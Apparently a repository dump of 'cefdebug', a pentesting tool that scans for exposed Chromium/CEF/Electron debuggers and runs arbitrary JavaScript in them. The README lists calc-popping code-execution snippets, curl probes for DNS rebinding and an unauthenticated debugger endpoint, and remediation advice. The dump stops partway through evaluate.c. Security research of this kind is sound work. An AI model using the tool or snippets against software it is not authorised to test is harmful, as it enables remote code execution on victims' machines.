├── .gitignore
├── .gitmodules
├── .zipignore
├── GNUmakefile
├── GNUmakefile.linux
├── LICENSE
├── README.md
├── cefdebug.c
├── cefscan.h
├── evaluate.c
├── ports.c
├── version.rc
└── wsurls.c
/.gitignore:
--------------------------------------------------------------------------------
1 | # Prerequisites
2 | *.d
3 |
4 | # Object files
5 | *.o
6 | *.ko
7 | *.obj
8 | *.elf
9 |
10 | # Linker output
11 | *.ilk
12 | *.map
13 | *.exp
14 |
15 | # Precompiled Headers
16 | *.gch
17 | *.pch
18 |
19 | # Libraries
20 | *.lib
21 | *.a
22 | *.la
23 | *.lo
24 |
25 | # Shared objects (inc. Windows DLLs)
26 | *.dll
27 | *.so
28 | *.so.*
29 | *.dylib
30 | *.res
31 |
32 | # Executables
33 | *.exe
34 | *.out
35 | *.app
36 | *.i*86
37 | *.x86_64
38 | *.hex
39 |
40 | # Debug files
41 | *.dSYM/
42 | *.su
43 | *.idb
44 | *.pdb
45 |
46 | # Kernel Module Compile Results
47 | *.mod*
48 | *.cmd
49 | .tmp_versions/
50 | modules.order
51 | Module.symvers
52 | Mkfile.old
53 | dkms.conf
54 |
55 | lws_config.h
56 | *.sw?
57 |
--------------------------------------------------------------------------------
/.gitmodules:
--------------------------------------------------------------------------------
1 | [submodule "libwebsockets"]
2 | path = libwebsockets
3 | url = https://github.com/warmcat/libwebsockets.git
4 | [submodule "wineditline"]
5 | path = wineditline
6 | url = https://github.com/winlibs/wineditline.git
7 |
--------------------------------------------------------------------------------
/.zipignore:
--------------------------------------------------------------------------------
1 | */.git/*
2 | */*/.git/*
3 | */.vscode/*
4 | */*.obj
5 | */*.pdb
6 | */*.lib
7 | */*.ilk
8 | */*.xml
9 | */*.idb
10 | */*.til
11 | */*.nam
12 | */*.id0
13 | */*.id1
14 | */*.id2
15 | */*.res
16 | */*.zip
17 | */.*.sw?
18 | */.swp
19 | */*.ipdb
20 | */*.iobj
21 | */*.log
22 | */archive/*
23 | */.vscode
24 | */build-*.lib/*
25 | */*.zip
26 | */*.exe
27 | */*.dll
28 | */*.tmp
29 |
--------------------------------------------------------------------------------
/GNUmakefile:
--------------------------------------------------------------------------------
1 | CC=cl.exe
2 | RC=rc.exe
3 | MSBUILD=msbuild.exe
4 | CMAKE=cmake.exe
5 | RFLAGS=/nologo
6 | CFLAGS=/nologo /Zi /Od /MD /FS /I libwebsockets/include
7 | LFLAGS=/nologo /machine:x86
8 | VFLAGS=-no_logo
9 | MFLAGS=/p:Configuration=Release /nologo /m /v:q
10 | CXXFLAGS=/nologo /Zi /Od /EHsc /MD /FS
11 | LDLIBS=iphlpapi ws2_32 edit websockets
12 | LDFLAGS=/MD
13 | LINKFLAGS=/ignore:4099
14 | VSDEVCMD=cmd.exe /c vsdevcmd.bat
15 |
16 | # Commands for arch specific compiler.
17 | ifeq ($(OS),Windows_NT)
18 | CC64=$(VSDEVCMD) $(VFLAGS) -arch=amd64 ^& cl
19 | CC32=$(VSDEVCMD) $(VFLAGS) -arch=x86 ^& cl
20 | else
21 | CC64=$(VSDEVCMD) $(VFLAGS) -arch=amd64 "&" cl
22 | CC32=$(VSDEVCMD) $(VFLAGS) -arch=x86 "&" cl
23 | endif
24 |
25 | .PHONY: clean distclean
26 |
27 | all: cefdebug.exe
28 |
29 | release: cefdebug.zip cefdebug-src.zip
30 |
31 | %.res: %.rc
32 | $(RC) $(RFLAGS) $<
33 |
34 | %.obj: %.cc
35 | $(CC) $(CXXFLAGS) /c /Fo:$@ $<
36 |
37 | %.obj: %.c
38 | $(CC) $(CFLAGS) /c /Fo:$@ $<
39 |
40 | %.exe: %.obj
41 | $(CC) $(CFLAGS) $(LDFLAGS) /Fe:$@ $^ /link $(LINKFLAGS) $(LDLIBS:=.lib)
42 |
43 | %.dll: %.obj
44 | $(CC) $(CFLAGS) $(LDFLAGS) /LD /Fe:$@ $^ /link $(LINKFLAGS)
45 |
46 | %64.obj: %.c
47 | $(CC) $(CFLAGS) /c /Fd:$(@:.obj=.pdb) /Fo:$@ $<
48 |
49 | %32.obj: %.c
50 | $(CC) $(CFLAGS) /c /Fd:$(@:.obj=.pdb) /Fo:$@ $<
51 |
52 | %64.dll: CC=$(CC64)
53 | %64.dll: %64.obj version.res
54 | $(CC) $(CFLAGS) $(LDFLAGS) /LD /Fd:$(@:.dll=.pdb) /Fe:$@ $^ /link $(LINKFLAGS)
55 |
56 | %32.dll: CC=$(CC32)
57 | %32.dll: %32.obj version.res
58 | $(CC) $(CFLAGS) $(LDFLAGS) /LD /Fd:$(@:.dll=.pdb) /Fe:$@ $^ /link $(LINKFLAGS)
59 |
60 | cefdebug.obj: | websockets.lib
61 |
62 | cefdebug.exe: version.res evaluate.obj wsurls.obj ports.obj cefdebug.obj | websockets.lib edit.lib
63 |
64 | websockets.lib:
65 | -$(CMAKE) -A Win32 -S libwebsockets -B build-$@
66 | $(CMAKE) -A Win32 -ULWS_WITH_SSL -DLWS_WITH_SSL=OFF -S libwebsockets -B build-$@
67 | $(MSBUILD) $(MFLAGS) build-$@/libwebsockets.sln
68 | cmd.exe /c copy build-$@\\lib\\Release\\websockets_static.lib $@
69 | cmd.exe /c copy build-$@\\include\\lws_config.h lws_config.h
70 |
71 | edit.lib:
72 | $(CMAKE) -A Win32 -S wineditline -B build-$@
73 | $(MSBUILD) $(MFLAGS) build-$@/WinEditLine.sln
74 | cmd.exe /c copy build-$@\\src\\Release\\edit_a.lib $@
75 |
76 | clean:
77 | -cmd.exe /c del /q /f *.exp *.exe *.obj *.pdb *.ilk *.xml *.res *.ipdb *.iobj *.dll *.tmp 2\>nul
78 | -cmd.exe /c rmdir /q /s $(wildcard build-*.*) 2\>nul
79 |
80 | # These are slow to rebuild and I dont change them often.
81 | distclean: clean
82 | -cmd.exe /c del /q /f websockets.lib lws_config.h
83 | -cmd.exe /c del /q /f edit.lib
84 |
85 | cefdebug.zip: README.md cefdebug.exe
86 | (cd .. && zip -r cefdebug/$@ $(patsubst %,cefdebug/%,$^))
87 |
88 | cefdebug-src.zip:
89 | (cd .. && zip -x@cefdebug/.zipignore -r cefdebug/$@ cefdebug)
90 |
--------------------------------------------------------------------------------
/GNUmakefile.linux:
--------------------------------------------------------------------------------
1 | CFLAGS=-ggdb3 -O0
2 | CPPFLAGS=`pkg-config --cflags readline,libwebsockets`
3 | LDLIBS=`pkg-config --libs readline,libwebsockets`
4 |
5 | .PHONY: clean
6 |
7 | cefdebug: evaluate.o wsurls.o ports.o cefdebug.o
8 |
9 | clean:
10 | rm -f cefdebug *.o
11 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # cefdebug
2 |
3 | This is a minimal commandline utility and/or reference code for using
4 | libwebsockets to connect to an electron/CEF/chromium debugger.
5 |
6 | You're probably thinking, "who would enable the debugger in shipping products?".
7 | Well, it turns out just about everyone shipping electron or CEF has made this
8 | mistake at least once.
9 |
10 | In some configurations, you can pop a shell remotely just by making a victim
11 | click a link.
12 |
13 | Example: https://bugs.chromium.org/p/project-zero/issues/detail?id=773
14 |
15 | In older versions, you could pop a shell remotely using DNS rebinding.
16 |
17 | Example: https://bugs.chromium.org/p/project-zero/issues/detail?id=1742
18 |
19 | Example: https://bugs.chromium.org/p/project-zero/issues/detail?id=1946
20 |
21 | In current versions, you can compromise other local users or escape sandboxes.
22 |
23 | Example: https://bugs.chromium.org/p/project-zero/issues/detail?id=1944
24 |
25 | It happens so often, that I thought pentesters might find it useful to have some
26 | code easily available to interact with them.
27 |
28 | # Usage
29 |
30 | First, scan the local machine
31 |
32 | ```
33 | $ ./cefdebug.exe
34 | [2019/10/04 16:18:56:7288] U: There are 3 tcp sockets in state listen.
35 | [2019/10/04 16:18:56:7766] U: There were 1 servers that appear to be CEF debuggers.
36 | [2019/10/04 16:18:56:7816] U: ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a
37 | ```
38 |
39 | Now you can send commands to that `ws://` URL.
40 |
41 | ```
42 | $ ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.version"
43 | [2019/10/04 16:35:06:2645] U: >>> process.version
44 | [2019/10/04 16:35:06:2685] U: <<< v10.11.0
45 | ```
46 |
47 | Alternatively, you can start a simple interactive shell.
48 |
49 | ```
50 | $ ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a
51 | >>> ['hello', 'world'].join(' ')
52 | [2019/10/04 16:36:31:0964] U: <<< hello world
53 | >>> a = 1024
54 | [2019/10/04 16:36:44:5250] U: <<< 1024
55 | >>> a * 2
56 | [2019/10/04 16:36:48:3005] U: <<< 2048
57 | >>> quit
58 | ```
59 |
60 | ### Known Examples
61 |
62 | Here are a list of code snippets I've seen that allow code exec in different electron
63 | applications.
64 |
65 | `process.mainModule.require('child_process').exec('calc')`
66 |
67 | `window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")`
68 |
69 | `require('child_process').spawnSync('calc.exe')`
70 |
71 | `Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))`
72 |
73 | ### Notes
74 | Here are things to test if you find a debugger.
75 |
76 | * Does it prevent [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding)?
77 |
78 | `$ curl -H 'Host: example.com' -si 'http://127.0.0.1:9234/json/list'`
79 |
80 | 🚨 If that works (i.e. json response), this is **remotely** exploitable. 🚨
81 |
82 | Newer versions of chromium require that the Host header match `localhost` or an
83 | IP address to prevent this. If this works, the application you're looking at is
84 | based on an older version of chromium, and leaving the debugger enabled can be
85 | **remotely** exploited. You have found a critical vulnerability and should
86 | report it urgently.
87 |
88 | * Is the `new` command functioning?
89 |
90 | `$ curl -si 'http://127.0.0.1:9234/json/new?javascript:alert(1)'`
91 |
92 | 🔥🚨 If that works (i.e. a json response), this is **easily** **remotely** exploitable. 🚨🔥
93 |
94 | This command requires no authentication, and has no CSRF protection. Just
95 | `
` in a website is
96 | enough to exploit it. Even if the port is randomized, it can be brute forced
97 | easily.
98 |
99 | This is a very critical vulnerability, and should be reported urgently.
100 |
101 | # Solution
102 |
103 | If you maintain a CEF project and you've noticed you're vulnerable to this
104 | attack, you probably need to change this setting in your `cef_settings_t`
105 | for production builds:
106 |
107 | https://magpcss.org/ceforum/apidocs3/projects/(default)/_cef_settings_t.html#remote_debugging_port
108 |
109 | In electron, it's possible you're doing something like:
110 |
111 | `app.commandLine.appendSwitch('remote-debugging-port'...)`
112 |
113 | If you're using node, perhaps you're using `--inspect` on child processes.
114 |
115 | https://nodejs.org/de/docs/guides/debugging-getting-started/#security-implications
116 |
117 | # Building
118 |
119 | ## Windows
120 |
121 | > If you don't want to build it yourself, check out the [releases](https://github.com/taviso/cefdebug/releases) tab
122 |
123 | I used [GNU make](http://gnuwin32.sourceforge.net/packages/make.htm) and Visual
124 | Studio 2019 to develop `cefdebug`.
125 |
126 | If all the dependencies are installed, just typing `make` in a developer command
127 | prompt should be enough.
128 |
129 | I use the "Build Tools" variant of Visual Studio, and the only components I have
130 | selected are MSVC, MSBuild, CMake and the SDK.
131 |
132 | This project uses submodules for some of the dependencies, be sure that you're
133 | using a command like this to fetch all the required code.
134 |
135 | ```
136 | git submodule update --init --recursive
137 | ```
138 | ## Linux
139 |
140 | The main depdencies are libwebsockets and libreadline.
141 |
142 | On Fedora, try:
143 |
144 | `yum install readline-devel libwebsockets-devel openssl-devel`
145 |
146 | If the dependencies are intalled, try `make -f GNUmakefile.linux`
147 |
148 | ## Embedding
149 |
150 | The code is intended to be simple enough to embed in other pentesting tools.
151 |
152 | # Authors
153 |
154 | Tavis Ormandy
155 |
156 | # License
157 |
158 | All original code is Apache 2.0, See LICENSE file for details.
159 |
160 | The following components are imported third party projects.
161 |
162 | * [wineditline](http://mingweditline.sourceforge.net/), by Paolo Tosco.
163 | * wineditline is used to implement user friendly command-line input and
164 | history editing.
165 | * [libwebsockets](https://libwebsockets.org), by Andy Green et al.
166 | * libwebsockets is a portable c implementation of HTML5 websockets.
167 |
--------------------------------------------------------------------------------
/cefdebug.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #if defined(_WIN32)
4 | # include
5 | # include
6 | # include
7 | # include "wineditline/src/editline/readline.h"
8 | #elif defined(__linux__)
9 | # include
10 | # include
11 | #endif
12 |
13 | #include "libwebsockets.h"
14 |
15 | #include "cefscan.h"
16 |
17 | void print_usage(const char *name)
18 | {
19 | lwsl_err("usage: %s [--code=CODE] [--url=URL]\n", name);
20 | }
21 |
22 | int main(int argc, const char **argv)
23 | {
24 | uint16_t *portlist;
25 | char **wsurls;
26 | char *result;
27 | char *line;
28 | void *handle;
29 | const char *url, *code;
30 |
31 | //lws_set_log_level(LLL_USER | LLL_ERR | LLL_WARN | LLL_NOTICE | LLL_INFO, NULL);
32 | lws_set_log_level(LLL_USER | LLL_ERR | LLL_WARN | LLL_NOTICE, NULL);
33 |
34 | url = lws_cmdline_option(argc, argv, "--url");
35 | code = lws_cmdline_option(argc, argv, "--code");
36 |
37 | if (lws_cmdline_option(argc, argv, "-h")
38 | || lws_cmdline_option(argc, argv, "-u")
39 | || lws_cmdline_option(argc, argv, "-v")) {
40 | print_usage(*argv);
41 | return 1;
42 | }
43 |
44 | // If no URL or code specified, scan for debuggers.
45 | if (!url && !code) {
46 | int32_t count;
47 |
48 | count = get_listening_ports("127.0.0.1", &portlist);
49 |
50 | lwsl_user("There are %d tcp sockets in state listen.\n", count);
51 |
52 | if (count <= 0)
53 | return 0;
54 |
55 | count = get_websocket_urls("127.0.0.1", portlist, &wsurls);
56 |
57 | lwsl_user("There were %d servers that appear to be CEF debuggers.\n", count);
58 |
59 | if (count >= 0) {
60 | for (int i = 0; i < count; i++) {
61 | lwsl_user("%s\n", wsurls[i]);
62 | free(wsurls[i]);
63 | }
64 | }
65 |
66 | free(wsurls);
67 | free(portlist);
68 | }
69 |
70 | // If URL, but no code, then enter interactive mode.
71 | if (url && !code) {
72 | handle = dbg_open_handle(url);
73 |
74 | while ((line = readline(">>> "))) {
75 |
76 | if (strcmp(line, "quit") == 0)
77 | break;
78 |
79 | result = dbg_eval_expression(handle, line);
80 |
81 | lwsl_user("<<< %s\n", result);
82 |
83 | add_history(line);
84 |
85 | rl_free(line);
86 | }
87 |
88 | dbg_close_handle(handle);
89 | }
90 |
91 | // If URL and code, enter evaluation mode.
92 | if (url && code) {
93 | handle = dbg_open_handle(url);
94 |
95 | result = dbg_eval_expression(handle, code);
96 |
97 | dbg_close_handle(handle);
98 |
99 | lwsl_user(">>> %s\n", code);
100 | lwsl_user("<<< %s\n", result);
101 |
102 | free(result);
103 | }
104 |
105 | return 0;
106 | }
107 |
--------------------------------------------------------------------------------
/cefscan.h:
--------------------------------------------------------------------------------
1 | #ifndef __CEFSCAN_H
2 | #define __CEFSCAN_H
3 |
4 | // Discover listening debuggers.
5 | int32_t get_listening_ports(const char *localaddr, uint16_t **portlist);
6 | int32_t get_websocket_urls(char *hostname, uint16_t *portlist, char **wsurls[]);
7 |
8 | // Open and interact with debuggers.
9 | void *dbg_open_handle(const char *wsurl);
10 | void dbg_close_handle(void *handle);
11 | char *dbg_eval_expression(void *handle, const char *expression);
12 |
13 | #endif
14 |
--------------------------------------------------------------------------------
/evaluate.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #if defined(_WIN32)
7 | # include
8 | # include
9 | #endif
10 |
11 | #include "libwebsockets.h"
12 |
13 | #include "cefscan.h"
14 |
15 | // The command to enable evaluation.
16 | static const char kRuntimeEnable[] = "{"
17 | "\"id\": %d,"
18 | "\"method\": \"Runtime.enable\""
19 | "}";
20 |
21 | // The command to perform evluation.
22 | static const char kRuntimeEvaluate[] = "{"
23 | "\"id\": %d,"
24 | "\"method\": \"Runtime.evaluate\","
25 | "\"params\": {"
26 | "\"expression\": \"eval(unescape('%s'))\"}"
27 | "}";
28 |
29 | static int callback_default_ws(struct lws *wsi,
30 | enum lws_callback_reasons reason,
31 | void *user,
32 | void *in,
33 | size_t len);
34 |
35 | static const struct lws_protocols wsprotocols[] = {
36 | { "default", callback_default_ws, 0, 0 },
37 | { 0 }
38 | };
39 |
40 | #pragma pack(push)
41 | #pragma pack(1)
42 | struct dbg_context_handle {
43 | int msgid;
44 | int size;
45 | int pending;
46 | struct lws *ctx;
47 | char pre_buf[LWS_PRE];
48 | char message[1024];
49 | char *result;
50 | char *description;
51 | };
52 | #pragma pack(pop)
53 |
54 |
55 | static signed char callback_json_ws(struct lejp_ctx *ctx, char reason)
56 | {
57 | struct dbg_context_handle *handle = ctx->user;
58 |
59 | if (reason != LEJPCB_VAL_STR_END && reason != LEJPCB_VAL_NUM_INT)
60 | return 0;
61 |
62 | lwsl_info("ws inspecting key %s\n", ctx->path);
63 |
64 | if (strcmp(ctx->path, "result.result.value") == 0) {
65 | handle->result = strdup(ctx->buf);
66 | }
67 |
68 | if (strcmp(ctx->path, "result.result.description") == 0) {
69 | handle->description = strdup(ctx->buf);
70 | }
71 |
72 | if (strcmp(ctx->path, "id") == 0) {
73 | lwsl_info("id %s\n", ctx->buf);
74 |
75 | if (strtoul(ctx->buf, NULL, 0) == handle->msgid) {
76 | handle->pending = false;
77 | handle->msgid++;
78 | }
79 | }
80 |
81 | return 0;
82 | }
83 |
84 | static char *url_escape_string(const char *str)
85 | {
86 | char *result = calloc(strlen(str) * 3 + 1, 1);
87 |
88 | for (char *p = result; *str; str++) {
89 | if (isalnum(*str)) {
90 | *p++ = *str;
91 | } else {
92 | p += sprintf(p, "%%%02hhX", *str);
93 | }
94 | }
95 |
96 | return result;
97 | }
98 |
99 |
100 | static uint32_t ActiveConnect;
101 |
102 | static int callback_default_ws(struct lws *wsi,
103 | enum lws_callback_reasons reason,
104 | void *user,
105 | void *in,
106 | size_t len)
107 | {
108 | struct dbg_context_handle *handle = user;
109 |
110 | switch (reason) {
111 | // Update number of active connections.
112 | case LWS_CALLBACK_WSI_DESTROY:
113 | ActiveConnect--;
114 | break;
115 | case LWS_CALLBACK_WSI_CREATE:
116 | ActiveConnect++;
117 | break;
118 | case LWS_CALLBACK_CLIENT_RECEIVE: {
119 | struct lejp_ctx jsctx;
120 |
121 | lwsl_info("client %p received message \"%s\"\n", wsi, in);
122 |
123 | lejp_construct(&jsctx, callback_json_ws, user, NULL, 0);
124 | lejp_parse(&jsctx, in, len);
125 | lejp_destruct(&jsctx);
126 | break;
127 | }
128 | case LWS_CALLBACK_CLIENT_WRITEABLE: {
129 | lwsl_info("client %p is writeable, %d pending\n", wsi, handle->size);
130 |
131 | if (handle->size > 0) {
132 | lwsl_info("write \"%s\" to client %p\n", handle->message, wsi);
133 | lws_write(wsi, handle->message, handle->size, LWS_WRITE_TEXT);
134 | handle->size = 0;
135 | }
136 |
137 | if (handle->size < 0)
138 | return -1;
139 | break;
140 | }
141 | }
142 |
143 | return lws_callback_http_dummy(wsi, reason, user, in, len);
144 | }
145 |
146 | void *dbg_open_handle(const char *wsurl)
147 | {
148 | struct lws_context *wscontext = NULL;
149 | struct lws_client_connect_info conn = {0};
150 | struct dbg_context_handle *handle = NULL;
151 | struct lws_context_creation_info wsinfo = {
152 | .port = CONTEXT_PORT_NO_LISTEN,
153 | .protocols = wsprotocols,
154 | };
155 |
156 | lwsl_info("dbg_open_handle(\"%s\");\n", wsurl);
157 |
158 | if (wsurl == NULL) {
159 | goto error;
160 | }
161 |
162 | if (strncmp(wsurl, "ws://127.0.0.1:", 15) != 0) {
163 | lwsl_info("does not appear to be a debugger url\n");
164 | goto error;
165 | }
166 |
167 | wscontext = lws_create_context(&wsinfo);
168 | handle = calloc(sizeof(*handle), 1);
169 |
170 | // Skip to port
171 | wsurl += strlen("ws://127.0.0.1:");
172 |
173 | #pragma warning(suppress: 4090)
174 | conn.port = strtoul(wsurl, &wsurl, 10);
175 | conn.context = wscontext;
176 | conn.address = "127.0.0.1";
177 | conn.host = "127.0.0.1";
178 | conn.path = wsurl;
179 | conn.alpn = "http/1.1";
180 | conn.protocol = "http";
181 |
182 | conn.userdata = handle;
183 | handle->ctx = lws_client_connect_via_info(&conn);
184 |
185 | lwsl_info("port %d, path %s, ctx %p\n", conn.port, conn.path, handle->ctx);
186 |
187 | handle->pending = true;
188 | handle->size = lws_snprintf(handle->message,
189 | sizeof (handle->message),
190 | kRuntimeEnable,
191 | handle->msgid);
192 |
193 | lws_callback_on_writable(handle->ctx);
194 | lws_service(wscontext, 0);
195 |
196 | return handle;
197 |
198 | error:
199 | if (wscontext)
200 | lws_context_destroy(wscontext);
201 |
202 | free(handle);
203 | return NULL;
204 | }
205 |
206 | void dbg_close_handle(void *handle)
207 | {
208 | struct dbg_context_handle *dbg = handle;
209 | struct lws_context *ctx;
210 |
211 | lwsl_info("dbg_close_handle(%p);\n", dbg);
212 |
213 | if (handle == NULL)
214 | goto error;
215 |
216 | if (dbg->ctx == NULL)
217 | goto error;
218 |
219 | if ((ctx = lws_get_context(dbg->ctx)) == NULL)
220 | goto error;
221 |
222 | // If there is a message still waiting to be sent, or
223 | // a response hasn't been received, just keep calling
224 | // lws_service().
225 | while (dbg->size || dbg->pending)
226 | lws_service(ctx, 0);
227 |
228 | // Indicate we want to terminate the connection.
229 | dbg->size = -1;
230 |
231 | do {
232 | lws_callback_on_writable(dbg->ctx);
233 | } while (lws_service(ctx, 0) >= 0 && ActiveConnect);
234 |
235 | // Cleanup.
236 | lws_context_destroy(ctx);
237 |
238 | error:
239 | return;
240 | }
241 |
242 |
243 | char *dbg_eval_expression(void *handle, const char *expression)
244 | {
245 | struct dbg_context_handle *dbg = handle;
246 | char *escaped = NULL;
247 | char *result = NULL;
248 |
